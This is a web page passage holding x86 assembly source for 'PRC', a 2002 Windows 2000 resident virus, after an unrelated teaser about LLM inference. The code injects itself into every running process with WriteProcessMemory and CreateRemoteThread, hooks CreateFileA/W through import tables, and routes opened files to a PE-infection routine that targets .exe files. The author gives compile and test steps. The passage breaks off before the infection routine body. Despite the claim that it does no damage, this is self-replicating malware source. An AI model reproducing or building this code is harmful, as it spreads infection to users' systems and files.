Win2k病毒Demo

TurboQuant:Win11单卡2080 Ti实跑Qwen3.6-35B-A3B与128K上下文 大模型推理显存瓶颈本质是权重加载、KV缓存与计算调度的系统性问题,而非单纯模型参数量过大。在Windows 11环境下,受限于GPU显存(如RTX 2080 Ti仅11GB)与系统级内存管理机制,传统部署方案极易触发OOM或长尾延迟。TurboQuant通过统一内存映射、动态稀疏KV缓存和混合图调度三大核心技术,在不依赖A100/多卡/云服务的前提下,实现Qwen3.6-35B-A3B在消费级硬件上的稳定128K上下文推理。其关键突破在于将操作系统(win11)、硬件(2080 Ti)与模型架构(A3B特性 阅读详情

;*********************************************************************
;*                                                                   *
;*                   The program information                         *
;*                                                                   *
;* Program Name: PRC                                                *
;* Current Version: 0.91(not under strict test)                     *
;* Completed on 11-25, 2002                                         *
;*                                                                   *
;* This program is something like a virus. But it does not contain  *
;* any damage code. So it won't do harm to your system. It just     *
;* demonstrates a way of developing a resident virus                *
;* under Windows.                                                   *
;*                                                                   *
;*  You can connect me [archim@163.com] for technic discussions      *
;*                                                                   *
;*===================================================================*
;*                                                                   *
;* How to complile this program?                                    *
;*  tasm32 /m /ml pv.asm, pv.obj                                 *
;*  tlink32 -c -M -x -Tpe -ap -S:0x10000 -Sc:0x6000 pv.obj,      *
;*   pv.exe, , kernel32.lib user32.lib                        *
;* The two libraries of kernel32.lib and user32.lib can be          *
;* attained in the BC++5.5 compiler.                                *
;*                                                                   *
;*===================================================================*
;* History                                                          *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;*                                                                   *
;* Version: 0.9                                                     *
;* Completed on 11-25, 2002                                         *
;*                                                                   *
;* 1) It can inject itself into the space of all the active        *
;*  processes in the system if access is permitted.              *
;* 2) It can hook the File Storage API functions of CreateFileA    *
;*  and CreateFileW. If the hook is successfully installed,      *
;*  all file operations that the process makes will be           *
;*  monitored by our code.                                       *
;* 3) It has the ability to infect the PE files with the           *
;*  extension ".exe". After the PE file has been infected,       *
;*  neither its size will increase, nor it will be infected      *
;*  a more time.                                                 *
;*                                                                   *
;*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*
;*                                                                   *
;* Version: 0.91                                                    *
;* under modification                                               *
;*                                                                   *
;* 1) Use CreateFileMapping and MapViewOfFile instead of ReadFile, *
;*  WriteFile and SetFilePointer to access the target file. The  *
;*  program size become much shorter.                            *
;* 2) Correct the bugs that the file is not closed if the file     *
;*  fails to be infected.                                        *
;*                                                                   *
;*********************************************************************

.386P
.model Flat, Stdcall

; If you want to play with the program, follow me.
; 1) Do change the value of 'DEBUG' unless you know exactly what the option will
;  affect the behavior of the program.
; 2) Compile and run the program.
; 3) Prepare some EXE files and rename them to "*test.exe" style. Wait a few
;  seconds, then search all EXE files containing the string "prcv0.9". If
;  any file has been found, it means the program works! If no file are
;  found, try more other files, because there are some EXE files the program
;  can't infect.
; 4) I develop the program under Windows 2000. I don't know what will happen
;  if it runs under Windows 98 or Windows XP.

;*********************************************************************
 FALSE   = 0
 TRUE   = 1
 DEBUG       = TRUE
 NO_EXCEPTION_HANDLER   = TRUE
 TRACE_REMOTE_THREAD    = 0
 SKIP_CURRENT_PROCESS   = 1
 INFECT_ALL_PROCESSES   = 1
 NOT_INFECT_FILES    = 0
 ERROR_DIAGNOSE     = 0
;*********************************************************************


TH32CS_SNAPMODULE = 00000008h

FILE_BEGIN  = 0
FILE_CURRENT = 1
FILE_END  = 2

OPEN_EXISTING   = 00000003h
if NOT_INFECT_FILES
OPEN_ALWAYS    = 00000004h
endif

FILE_ATTRIBUTE_NORMAL   = 00000080h

FILE_SHARE_READ  = 00000001h
FILE_SHARE_WRITE = 00000002h

GENERIC_READ  = 80000000h
GENERIC_WRITE  = 40000000h

FILE_MAP_WRITE  = 00000002h

MB_PRECOMPOSED  = 00000001h
MB_COMPOSITE  = 00000002h

CP_ACP   = 0
CP_OEMCP  = 1
CP_MACCP  = 2
CP_THREAD_ACP = 3

PAGE_READWRITE = 00000004h

FLAG_IN_DATA_SECTION = 00000001h
FLAG_USE_TWO_SECTIONS = 00000002h

MajorVersion   = 0
MinorVersion   = 9

MAX_PATH = 260


; sizeof(IMAGE_NT_HEADERS)
; Section Header offset   0xF8

; FieldName    Offset
;---------------------------------------------------------------------
; AddressOfEntryPoint  0x28
; SizeOfHeaders   0x54
; SizeOfStackCommit  0x64
; DataDirectory   0x78


;*********************************************************************
;*                                                                   *
;*                         Declare funtion prototype                 *
;*                                                                   *
;*********************************************************************
GetLastError  PROTO
MessageBoxA   PROTO :DWORD, :DWORD, :DWORD, :DWORD
GetModuleHandleA PROTO :DWORD
GetProcAddress  PROTO :DWORD, :DWORD
CreateFileA   PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CreateFileW   PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD, :DWORD
CloseHandle   PROTO :DWORD
FindFirstFileA  PROTO :DWORD, :DWORD
FindNextFileA  PROTO :DWORD, :DWORD

printf    PROTO :DWORD


;*********************************************************************
;*                                                                   *
;*                        Entry code section                         *
;*                                                                   *
;*********************************************************************
_TEXT segment use32 public 'CODE'

VirtualEntry:

  call GetLastError

  call GetCurrentEipToEbx
$A:
  ;mov esi, 00400000h
  ;mov eax, [esi+0000003Ch]
  ;lea edi, [esi+eax]
  ;mov edx, [edi+00000080h]
  ;mov eax, [edx+esi]
  ;add eax, esi
  ;mov ecx, [eax+00000010h]

  mov edx, offset GetLastError
  add edx, 2
  mov ecx, [edx]
  sub ecx, 00400000h

  mov eax, offset RvaOfFirstThunkOfKernel32
  sub eax, offset $A
  mov [ebx+eax], ecx

  mov eax, offset OriginalEntryPoint
  sub eax, offset $A
  mov ecx, offset lb_ExitCurrentProcess
  sub ecx, 00400000h
  ;add ebx, eax
  ;push ebp
  ;mov ebp, esp
  ;push 00400000h

  mov [ebx+eax], ecx
  jmp EntryOfVirusCode

lb_ExitCurrentProcess:

  ret

_TEXT ends

;*********************************************************************
;*                                                                   *
;*                        Data section                               *
;*                                                                   *
;*********************************************************************
_DATA segment use32 public 'DATA'

;---- Error Messages
szExceptionCaused  db "Exception error captured!",0
szError      db "Error",0
FileNameToFind  db 'g:/testfile/'
FileNameFound = $
     db '*.exe', 0
     db 260 dup (?)
TestFileW   dw 'G', ':', '/', 'P', 'R', 'O', '/', 'T', 'a', 's', 'm', '/'
     dw 'T', 'e', 's', 't', '.', 'e', 'x', 'e', 0
TestFileA   db 'G:/PRO/TASM/test.exe', 0

W32FindData   db 140h dup(?)

_DATA ends


;*********************************************************************
;*                                                                   *
;*                       Main code section                           *
;*                                                                   *
;*********************************************************************
VirSegment segment use32 public 'PRC'

MAX_WND_SIZE   = 1024
OFFSET_CODING_LENGTH = 10
M      = 3

BaseOfVirusCode = $

;*********************************************************************
;*                                                                   *
;* RestoreCompressedData()                                          *
;*                                                                   *
;* Remarks:                                                         *
;*  Restore the compressed data                                  *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]                                                        *
;*  Point to the buffer containing decompression information     *
;*                                                                   *
;* Return Value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************

RestoreCompressedData:

  cld
  mov edi, [ebp][lpImageBaseBaseOfProcess]
  lea edx, [ebx][SizeOfTransmission-@B]
  push edx
  lea ecx, [ebx+VIRUS_VIRTUAL_SIZE][BaseOfVirusCode-@B]
  push ecx
  lodsd
  push eax
  mov edx, edi  ;<
  lodsd    ;<
  add edx, eax  ;< pDataBuffer
  push edx   ;<
       ;<
  call LZ77Decompress

  add edi, [esi]
  mov esi, ecx

  mov ecx, 'HOLD'
SizeOfTransmission = $-4

  push ecx
  push esi
  push PAGE_READWRITE
  mov esi, edi
  call InvokeVirtualProtectEx
  pop esi
  pop ecx

  push ecx
  push edi

  cld
  rep movsb

  pop esi
  pop ecx

  push dword ptr [ebx][dwOldProtect-@B]
  call InvokeVirtualProtectEx

lb_ExitRestoreCompressedData:

  ret


RvaOfEntryPoint = $
  dd (offset EntryOfVirusCode - 00400000h)

RvaOfFirstThunkOfKernel32 = $
  dd 0

DecompressionParametersA = $
 dd 0 ;Total bits afetr compression.
 dd 0 ;Rva of the data buffer where the compressed data are stored in.
 dd 0 ;Rva of the data buffer where the compressed data are restored to.

DecompressionParametersB = $
 dd 0
 dd 0
 dd 0

EntryOfVirusCode:

 XX=-4
lpImageBaseBaseOfProcess  = XX

if NO_EXCEPTION_HANDLER
 XX=XX-4
else
 XX=XX-12
endif

lpImageBaseOfKernel32   = XX
 XX=XX-4
hSnapShot      = XX
 XX=XX-4
hProcessHandle     = XX
 XX=XX-4
lpBaseOfCodeInRemoteProcess  = XX

  pushad
  sub esp, VIRUS_BOOTING_SIZE
  mov edi, esp

  call @A
@A = $
  pop ebx

  lea eax, [ebx][EntryOfVirusCode-@A]
  mov ecx, [ebx][RvaOfEntryPoint-@A]
  sub eax, ecx

  lea esi, [ebx][BaseOfVirusCode-@A]
  mov ecx, VIRUS_PHYSICAL_SIZE
  cld
  rep movsb
  lea ebx, [esp][@B-BaseOfVirusCode]
  jmp ebx

@B = $

  push ebp
  mov ebp, esp

  push eax ; Initialize lpImageBaseBaseOfProcess
  add [ebx][OriginalEntryPoint-@B], eax

; Set up our exception handler. So when any exception occurs,
; our exception handler will get control first, and we can quit
; the virus code safely.
;=====================================================================
ife NO_EXCEPTION_HANDLER
  lea eax, [esp-8]
  xor esi, esi
  xchg eax, fs:[esi]
  lea ecx, [ebx][ExceptionHandler-@B]
  push ecx
  push eax
endif
;=====================================================================

; Let's locate the image base of the module 'Kernel32.dll'.

lb_LoopOfLocateKernel32:

  pop eax
  push eax

  mov ecx, [ebx][RvaOfFirstThunkOfKernel32-@B]
  mov eax, [eax+ecx]
  add [ebx][RvaOfFirstThunkOfKernel32-@B], dword ptr 4

lb_LoopOfCheck64KBoundaries:

  and eax, 0FFFF0000h
  cmp word ptr [eax], 'ZM'
  jnz lb_TryNextBoundary

  mov ecx, [eax+0000003Ch]
  add ecx, eax
  cmp dword ptr [ecx], 00004550h
  jnz lb_TryNextBoundary
  mov edx, [ecx+00000078h]
  add edx, eax
  mov esi, [edx+0000000Ch]
  add esi, eax
  lea edi, [ebx][NameOfKernel32-@B]
  call strcmpi
  jz lb_ImageBaseOfKernel32IsFound
  jmp lb_LoopOfLocateKernel32

lb_TryNextBoundary:

  sub eax, 00010000h
  jmp lb_LoopOfCheck64KBoundaries

lb_ImageBaseOfKernel32IsFound:

  push eax ; Intialize lpImageBaseOfKernel32

  mov esi, edx
  lea edi, [ebx][IfNameTable-@B]

; Let get the entry points of the Windows API functions which
; the virus code must use from the module 'kernel32.dll'.
lb_LoopOfGetEntryAddressOfApiFunctions:

  mov ecx, [edi]
  jecxz lb_AllAddressesGotten

  push eax
  push edi
  lea edi, [ebx+ecx]
  call GetProcedureAddress
  test eax, eax
  jz lb_ExitVirusProgram
  pop edi
  mov [edi][CallAddressTable-IfNameTable], eax
  pop eax
  add edi, 4
  jmp lb_LoopOfGetEntryAddressOfApiFunctions


lb_AllAddressesGotten:

  lea esi, [ebx][DecompressionParametersA-@B]
  call RestoreCompressedData

  jmp lb_NoSecondCompressedSection
JumpOffset = $-1
NextStatement = $

  lea esi, [ebx][DecompressionParametersB-@B]
  call RestoreCompressedData

lb_NoSecondCompressedSection:

;//}


@C = @B
; Now all the entry addresses of the Api functions have been relocated.
; That is very import.
;

; Let's go.
;{
  push 0
  push 2
  call dword ptr [ebx][lpfnCreateToolhelp32Snapshot-@C]
  test eax, eax
  jz lb_AllProcessesEnumerated

  push eax ; Initialize hSnapShot

  lea eax, [ebx][ProcessEntry32-@C]
  mov dword ptr [eax], 00000128h
  push eax
  push dword ptr [ebp][hSnapShot]
  call dword ptr [ebx][lpfnProcess32First-@C]
  test eax, eax
  jz lb_AllProcessesEnumerated

lb_LoopOfEnumerateAllProcesses:

ife INFECT_ALL_PROCESSES
 ife SKIP_CURRENT_PROCESS
  lea esi, [ebx][pe_szExeFile-@C]
  lea edi, [ebx][TargetProcessName-@C]
  call strcmpi
  jz lb_TryNextProcess

  call [ebx][lpfnGetCurrentProcessId-@C]
  cmp eax, [ebx][pe_th32ProcessID-@C]
  jnz lb_TryNextProcess
 else
  lea esi, [ebx][pe_szExeFile-@C]
  lea edi, [ebx][TargetProcessName-@C]
  call strcmpi
  jnz lb_TryNextProcess
 endif
endif

lb_TargetProcessFound:

  mov eax, [ebx][pe_th32ProcessID-@C]
  push eax
  push 0
  push 001F0FFFh ; PROCESS_ALL_ACCESS
  call [ebx][lpfnOpenProcess-@C]
  test eax, eax
  jz lb_TryNextProcess

  push eax ; Initailize hProcessHandle

  push 00000004h ; PAGE_READWRITE
  push 00001000h ; MEM_COMMIT
  push VIRUS_ALIGN_SIZE
  push 0
  push eax
  call [ebx][lpfnVirtualAllocEx-@C]
   ;push eax   ;<
   ;call GetLastError ;< Debug Code
   ;pop eax   ;<
  test eax, eax
  jz lb_ExitVirusProgram

  xchg eax, esi
  push esi ; lpBaseOfCodeInRemoteProcess
  lea edi, [ebx][ReturnValueFromRemoteProcess-@C]

  xor edx, edx
  mov [edi], edx ; Initialize return value
  push edx
  push VIRUS_ALIGN_SIZE
  lea ecx, [ebx][BaseOfVirusCode-@C]
  push ecx
  push esi
  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnWriteProcessMemory-@C]
  test eax, eax
  jz lb_ExitVirusProgram

ife SKIP_CURRENT_PROCESS
  push ebx
endif

  xor ecx, ecx
  push ecx
  push ecx
  push ecx
  lea edx, [esi][RemoteThread-BaseOfVirusCode]
  push edx
  push ecx
  push ecx
  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnCreateRemoteThread-@C]
  ;test eax, eax
  ;jz lb_ExitVirusProgram
ife SKIP_CURRENT_PROCESS
  pop ebx
endif

  push dword ptr [ebp][hProcessHandle]
  call [ebx][lpfnCloseHandle-@C]

lb_TryNextProcess:

  lea eax, [ebx][ProcessEntry32-@C]
  push eax
  push dword ptr [ebp][hSnapShot]
  call dword ptr [ebx][lpfnProcess32Next-@C]
  test eax, eax
  jz lb_ExitVirusProgram

  jmp lb_LoopOfEnumerateAllProcesses

lb_AllProcessesEnumerated:

  push dword ptr [ebp][hSnapShot]
  call [ebx][lpfnCloseHandle-@C]

lb_ExitVirusProgram:

  ;jmp lb_DirectlyExitVirusProgram

lb_DirectlyExitVirusProgram:

ife NO_EXCEPTION_HANDLER
  pop dword ptr fs:[0]
  pop ecx
endif
  mov esp, ebp
  pop ebp

  add esp, VIRUS_BOOTING_SIZE
  popad

  push offset lb_ExitCurrentProcess
OriginalEntryPoint = $-4
  ret


;*********************************************************************
;*                                                                   *
;* Get the current EIP into EAX. You can use this way to locate     *
;* the virus code.                                                  *
;*                                                                   *
;*********************************************************************
GetCurrentEipToEax:

  pop eax
  jmp eax

;*********************************************************************
;*                                                                   *
;* Get the current EIP into EBX. You can use this way to locate     *
;* the virus code.                                                  *
;*                                                                   *
;*********************************************************************
GetCurrentEipToEbx:

  pop ebx
  jmp ebx


;*********************************************************************
;*                                                                   *
;* strcmpi()                                                        *
;*                                                                   *
;* Remarks:                                                         *
;*  This routine compare two strings, case-insensitive.          *
;*                                                                   *
;* Parameters:                                                      *
;*  [ESI]                                                        *
;*  Point to string1.                                            *
;*  [EDI]                                                        *
;*  Point to string2                                             *
;*                                                                   *
;* Return Value:                                                    *
;*  If these two strings are identical,                          *
;*  ZF flag will be set.                                         *
;*  If these two strings are not identical,                      *
;*  ZF flag will be cleared.                                     *
;*                                                                   *
;*********************************************************************
strcmpi:

  push esi
  push edi
  push eax
  push ecx

  xor eax, eax
  xor ecx, ecx

lb_LoopOfCompareStrings:
  mov al, [esi]
  mov cl, [edi]
  inc esi
  inc edi

  cmp eax, 'A'
  jb lb_NotAsciiCharacter

  cmp eax, 'z'
  ja lb_NotAsciiCharacter

  cmp eax, 'Z'
  jbe lb_IsAsciiCharacter

  cmp eax, 'a'
  jae lb_IsAsciiCharacter

  jmp lb_NotAsciiCharacter

lb_IsAsciiCharacter:
; if the character is a ascii character, just convert it to lower-case.
  or eax, 20h
  or ecx, 20h

lb_NotAsciiCharacter:

  cmp eax, ecx
  jnz lb_StringsNotEqual
  jecxz lb_StringsIsEqual
  jmp lb_LoopOfCompareStrings

lb_StringsIsEqual:
lb_StringsNotEqual:

  pop ecx
  pop eax
  pop edi
  pop esi

  ret

;*********************************************************************
;*                                                                   *
;* IsAllZero()                                                      *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  This routine check if the contents of a specified buffer     *
;*  are all zero.                                                *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]                                                     *
;*  Point to the buffer.                                         *
;*  [Param2]                                                     *
;*  The size of the buffer.                                      *
;*                                                                   *
;* Return Value:                                                    *
;*  If the buffer is all filled with Zero,                       *
;*  Z-flag will be set.                                          *
;*  If the buffer is not all filled with Zero,                   *
;*  Z-flag will be cleared.                                      *
;*                                                                   *
;*********************************************************************
IsAllZero:

  push esi
  push ecx
  push eax
  xor eax, eax

  mov esi, [esp+00000010h]
  mov ecx, [esp+00000014h]

  cld
lp_GetNextByteToCompare:

  lodsb
  test eax, eax
  jnz lb_ExitIsAllZero
  loop lp_GetNextByteToCompare

lb_ExitIsAllZero:

  pop eax
  pop ecx
  pop esi
  ret 8

;*********************************************************************
;*                                                                   *
;* RvaAddressToFileMappingAddress()                                 *
;*                                                                   *
;* Remarks:                                                         *
;*  This routine converts the RVA address to the file            *
;*  offset address.                                              *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The RVA address                                              *
;*                                                                   *
;* Return Value:                                                    *
;*  If the RVA address can be converted, the file offset         *
;*  address will be returned in EAX. Otherwise, NULL will be     *
;*  returned in EAX.                                             *
;*                                                                   *
;*********************************************************************
RvaAddressToFileMappingAddress:

  push esi
  mov esi, [ebp][lpNtHeaders] ; Get Nt Heads

  movzx ecx, word ptr [esi+00000006h]
  lea esi, [esi+0000000F8H]

lp_CheckAllSections:

  mov edx, [esi+0000000Ch]

  cmp eax, edx
  jb lb_CheckNextSection

  add edx, [esi+00000010h]
  cmp eax, edx
  jae lb_CheckNextSection

  sub eax, [esi+0000000Ch]
  add eax, [esi+00000014h]
  add eax, [ebp][lpFileMapping]
  jmp lb_QuitRvaToFilePointer

lb_CheckNextSection:

  add esi, 00000028h ;40
  loop lp_CheckAllSections

  xor eax, eax

lb_QuitRvaToFilePointer:

  pop esi
  ret


;*********************************************************************
;*                                                                   *
;* InstallApiHook()                                                 *
;*  [Param1]                                                     *
;*  [Param2]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  The routine tries to install a hook on the specified         *
;*  Windows API function.                                        *
;*                                                                   *
;* Parameters:                                                      *
;*  [Eax]                                                        *
;*  The image base of the module on which the hook function      *
;*  will be installed.                                           *
;*  [Edx]                                                        *
;*  The RVA of the import descriptor array.                      *
;*  [Esi]                                                        *
;*  Point to the string which contains the name of the API       *
;*  function on which the hook will be installed.                *
;*  [Param1]                                                     *
;*  The entry address of the hook of the API function.           *
;*  [Param2]                                                     *
;*  Point to the variable which saves the original entry         *
;*  address of the API function.                                 *
;*                                                                   *
;* Return Value:                                                    *
;*  If the hook has been successfully installed on the API       *
;*  function, CF flag will be set. Otherwise, CF flag will       *
;*  be cleared.                                                  *
;*                                                                   *
;*********************************************************************
InstallApiHook:

PARAMETERS_BASE = 4 + 3*4

  push eax
  push edx
  push esi
  push edi

lb_LoopOfCheckImportDescriptors:
  push (SIZE_OF_IMPORT_DESCRIPTOR)
  push edx
  call IsAllZero
  jz lb_ApiHookInstallationFail

  mov ecx, [edx]
  jecxz lb_TryNextImportDescriptor

  add ecx, eax

lb_LoopOfCheckDataThunks:

  mov edi, [ecx]
  test edi, edi
  jz lb_TryNextImportDescriptor
  test edi, 80000000h
  jnz lb_TryNextDataThunk

  add edi, eax
  inc edi
  inc edi
  call strcmpi
  jz lb_ApiFunctionIsFound

lb_TryNextDataThunk:

  add ecx, 4
  jmp lb_LoopOfCheckDataThunks

lb_TryNextImportDescriptor:

  add edx, SIZE_OF_IMPORT_DESCRIPTOR
  jmp lb_LoopOfCheckImportDescriptors

lb_ApiFunctionIsFound:

  mov edi, [edx+00000010h]
  sub edi, [edx]
  add ecx, edi

  push PAGE_READWRITE
  mov esi, ecx
  xor ecx, ecx
  call InvokeVirtualProtectEx
  test eax, eax
  jz lb_ApiHookInstallationFail

  mov eax, [esi]     ;<
  mov ecx, [esp+00000014h]  ;<
  mov edx, [ecx]                  ;<
  cmp [eax], edx     ;<
  jz lb_ApiHookAlreadyInstalled ;<

  mov edx, [esp+00000018h]  ;< Save the original entry address of
  mov [edx], eax     ;< the API function

  mov [esi], ecx     ;Modify the entry address of the API function

  push dword ptr [ebx][dwOldProtect-@X]
  xor ecx, ecx
  call InvokeVirtualProtectEx
  test eax, eax
  jz lb_ApiHookInstallationFail

  stc
  jmp lb_ExitInstallApiHook


lb_ApiHookInstallationFail:
lb_ApiHookAlreadyInstalled:

  clc

lb_ExitInstallApiHook:

  pop edi
  pop esi
  pop edx
  pop eax
  ret 8


;*********************************************************************
;*                                                                   *
;* Remarks:                                                         *
;*  The rountine run in the context of a remote process. It will *
;*  try to install a hook on the API functions of CreateFileA    *
;*  and CreateFileW                                              *
;*                                                                   *
;* Parameters:                                                      *
;*  [Param1]:                                                    *
;*  The thread which call CreateRemoteThread to create this      *
;*  thread pass the parameter. The parameter is not used here.   *
;*                                                                   *
;* Return Value:                                                    *
;*  If the hooks have been successfully installed, the return    *
;*  value is 1, otherwise -1 will be returned.                   *
;*                                                                   *
;*********************************************************************
 XX=-4
hSnapShotOfModuleEnumeration = XX
 XX=XX-4
lpModuleEntry32     = XX
 XX=XX-4
dwReturnValue     = XX
 XX=XX-4

RemoteThread:

; The follow statements looks like a dead loop. Yes, it is so.
; But they are helpful in tracing the thread in the remote process.
; When the thread is created in the remote process, it will
; immediately runes into the dead-loop. It won't go out unitil
; somebody help it. First you can activate the process in the
; context of whom the thread has been created. Now you can
; activate SoftIce by pressing CTRL+D. You have a very big chance
; to get the breakpoint which is exactly located in the dead-loop.
; Now you can modify ECX register to any non-zero value. The
; dead loop no longer exists. And you can trace thread in the
; context of the remote process.
if TRACE_REMOTE_THREAD
  xor ecx, ecx
  jecxz $
endif

  push ebp
  mov ebp, esp

  call GetCurrentEipToEbx
@Xd:
  add ebx, @X - @Xd

  push 0
  push TH32CS_SNAPMODULE
  call [ebx][lpfnCreateToolhelp32Snapshot-@X]
  test eax, eax
  jz lb_ExitRemoteThread

  push eax ;Initialzie hSnapShotOfModuleEnumeration

  lea edi, [ebx][ModuleEntry32-@X]
  mov dword ptr [edi], 00000224h
  push edi ;Initialize lpModuleEntry32
  push -1  ;Initialize dwReturnValue

  push edi
  push eax
  call [ebx][lpfnModule32First-@X]
  test eax, eax
  jz lb_ExitRemoteThread

lb_LoopOfEnumerateModulesOfCurrentProcess:

  mov eax, [edi][me_modBaseAddr-ModuleEntry32]
  mov ecx, [eax+0000003Ch]
  lea edx, [eax+ecx]
  mov ecx, [edx+00000080h]
  jecxz lb_TryNextModule
  lea edx, [eax+ecx]

  ;push 247C8B60h
  lea esi, [ebx][n_CreateFileW-@X]
  lea ecx, [ebx][OriginalEntryOfCreateFileW-@X]
  push ecx
  lea ecx, [ebx][HookOfCreateFileW-@X]
  push ecx
  call InstallApiHook
  jnc lb_TryToInstallHookOnCreateFileA

  push 1
  pop dword ptr [ebp][dwReturnValue]

lb_TryToInstallHookOnCreateFileA:

  ;push 24748B60h
  lea esi, [ebx][n_CreateFileA-@X]
  lea ecx, [ebx][OriginalEntryOfCreateFileA-@X]
  push ecx
  lea ecx, [ebx][HookOfCreateFileA-@X]
  push ecx
  call InstallApiHook
  jnc lb_TryNextModule

  push 1
  pop dword ptr [ebp][dwReturnValue]

lb_TryNextModule:

  push edi
  push dword ptr [ebp][hSnapShotOfModuleEnumeration]
  call [ebx][lpfnModule32Next-@X]
  test eax, eax
  jz lb_ExitRemoteThread

  jmp lb_LoopOfEnumerateModulesOfCurrentProcess

lb_ExitRemoteThread:

  push dword ptr [ebp][hSnapShotOfModuleEnumeration]
  call [ebx][lpfnCloseHandle-@X]

  pop eax
  mov esp, ebp
  pop ebp

  cmp eax, 1
  jz lb_ApiHookSuccessfullyinstalled

  pop ecx
  pop edx
  push 00004000h
  push VIRUS_ALIGN_SIZE
  lea edx, [ebx][BaseOfVirusCode-@X]
  push edx
  push -1
  push ecx
  jmp [ebx][lpfnVirtualFreeEx-@X]

lb_ApiHookSuccessfullyinstalled:

  mov byte ptr [ebx][IsBusy-@X], 0 ; Initialize the Busy Flag
  ret 04

;*********************************************************************
;*                                                                   *
;* InvokeVirtualProtectEx()                                         *
;*  [Param1]                                                     *
;*                                                                   *
;* Remarks:                                                         *
;*  Invoke the Windows API function of VirtualProtectEx to       *
;*  change R/W access of the specified memory block.             *
;*                                                                   *
;* Parameters:                                                      *
;*  [Esi]:                                                       *
;*  Pointer to the start address of the buffer whose R/W access  *
;*  will be changed.                                             *
;*  [Ecx]:                                                       *
;*  The size of the buffer.                                      *
;*  [Param1]:                                                    *
;*  New R/W access for the buffer.                               *
;*                                                                   *
;* Return Value:                                                    *
;*  The value returned returned from VirtualProtectEx.           *
;*                                                                   *
;*********************************************************************
InvokeVirtualProtectEx:

  call GetCurrentEipToEax
@8 = $
  pop dword ptr [eax][ReturnFromInvokeVirtualProtectEx-@8]
  add eax, dwOldProtect - @8

  pop edx
  push eax
  push edx
  test ecx, ecx
  jnz lb_UseSpecifiedSize
  mov ecx, 00001000h
lb_UseSpecifiedSize:
  push ecx
  mov edx, esi
  and edx, 0FFFFF000h
  push edx
  push -1
  call dword ptr [eax][lpfnVirtualProtectEx-dwOldProtect]

  push 'HOLD'
ReturnFromInvokeVirtualProtectEx = $-4
  ret


;*********************************************************************
;*
;* Hook functions on the API functions of CreateFileA and
;* CreateFileW. When someting want to call the API function of
;*  CreateFileA or CreateFileW anyway, our hook functions will get
;* called first. You can do anything you want in the hook
;* functions. And then you will call the real CreateFileA or
;* CreateFileW function which is exported by kernel32.dll to
;* complete the file creation request.
;*
;*********************************************************************
;HANDLE CreateFile(
;  LPCTSTR lpFileName,                         // file name
;  DWORD dwDesiredAccess,                      // access mode
;  DWORD dwShareMode,                          // share mode
;  LPSECURITY_ATTRIBUTES lpSecurityAttributes, // SD
;  DWORD dwCreationDisposition,                // how to create
;  DWORD dwFlagsAndAttributes,                 // file attributes
;  HANDLE hTemplateFile                        // handle to template file
;  )
;  The stack is like the following figure when FindFirstFile is called
;  ______________________________
; |       Return Address         | <<== ESP (Low Address)
; |______________________________|
; |         lpFileName           |
; |______________________________|
; |        dwDesiredAccess       |
; |______________________________|
; |          dwShareMode         |
; |______________________________|
; |     lpSecurityAttributes     |
; |______________________________|
; |     dwCreationDisposition    |
; |______________________________|
; |     dwFlagsAndAttributes     |
; |______________________________|
; |        hTemplateFile         |
; |______________________________|
;
;
; After PUSHAD statement is executed, the stack looks like this:
;  ______________________________
; |             EDI              | 000h: | <<== ESP
; |______________________________|       |
; |             ESI              | 004h: |
; |______________________________|       |
; |             EBP              | 008H  |
; |______________________________|       |
; |             ESP              | 00CH  |   pushad
; |______________________________|       |
; |             EDX              | 010h  |
; |______________________________|       |
; |             ECX              | 014H  |
; |______________________________|       |
; |             EBX              | 018H  |
; |______________________________|       |
; |             EAX              | 01CH  |
; |______________________________|       |__
; |       Return Address         | 020H
; |______________________________|
; |         lpFileName           | 024h
; |______________________________|
; |        dwDesiredAccess       | 028h
; |______________________________|
; |          dwShareMode         | 02CH
; |______________________________|
; |     lpSecurityAttributes     | 030H
; |______________________________|
; |     dwCreationDisposition    | 034H
; |______________________________|
; |     dwFlagsAndAttributes     | 038H
; |______________________________|
; |        hTemplateFile         | 03CH
; |______________________________|


HookOfCreateFileW:

  pushad

  mov edi, [esp+00000024h]
  call InfectPeFile

  popad
  push 'Hold'
OriginalEntryOfCreateFileW = $-4
  ret


HookOfCreateFileA:

  pushad
  mov esi, [esp+00000024h]
  call GetCurrentEipToEax
@0:
  lea edi, [eax+00001000h][BaseOfVirusCode-@0]
  ;lea edi, [eax+00000E00h][BaseOfVirusCode-@0]

  push 0000200h
  push edi
  push -1
  push esi
  ;push MB_PRECOMPOSED
  push MB_COMPOSITE
  push CP_THREAD_ACP
  call [eax][lpfnMultiByteToWideChar-@0]
  test eax, eax
  jz lb_ExitHookOfCreateFileA

  call InfectPeFile

lb_ExitHookOfCreateFileA:

  popad
  push 'Hold'
OriginalEntryOfCreateFileA = $-4
  ret

;*********************************************************************
;*                                                                   *
;* InfectPeFile()                                                   *
;*                                                                   *
;* Remarks:                                                         *
;*  Infect the specified PE file with our virus code.            *
;*                                                                   *
;* Parameters:                                                      *
;*  [Edi]                                                        *
;*  Point to a null-terminated wide-character string containing  *
;*  the PE file name.                                            *
;*                                                                   *
;* Return Value:                                                    *
;*  None.                                                        *
;*                                                                   *
;*********************************************************************
  X=-4
  XX=-4
tmpVar       = XX
dwNumberOfBytesRead    = (tmpVar)
dwNumberOfBytesWritten   = (tmpVar)
  XX=XX-4
i        = XX
ulAddressOfVCode    = XX
  XX=XX-4
pSectionOfOriginalDataAndCode = XX

DWORDSofCompressionInfo  = 6

  XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoAA    = XX
  XX=(XX)-(4*DWORDSofCompressionInfo)
CompressionInfoBB    = XX
   off_pSection    = 0000h
   off_OriginalVirtualAddress = 0004h
   off_pCompressedDataBuffer = 0008h
   off_ulNumTotalBits   = 000Ch
   off_ulNumUsedBytes   = 0010h
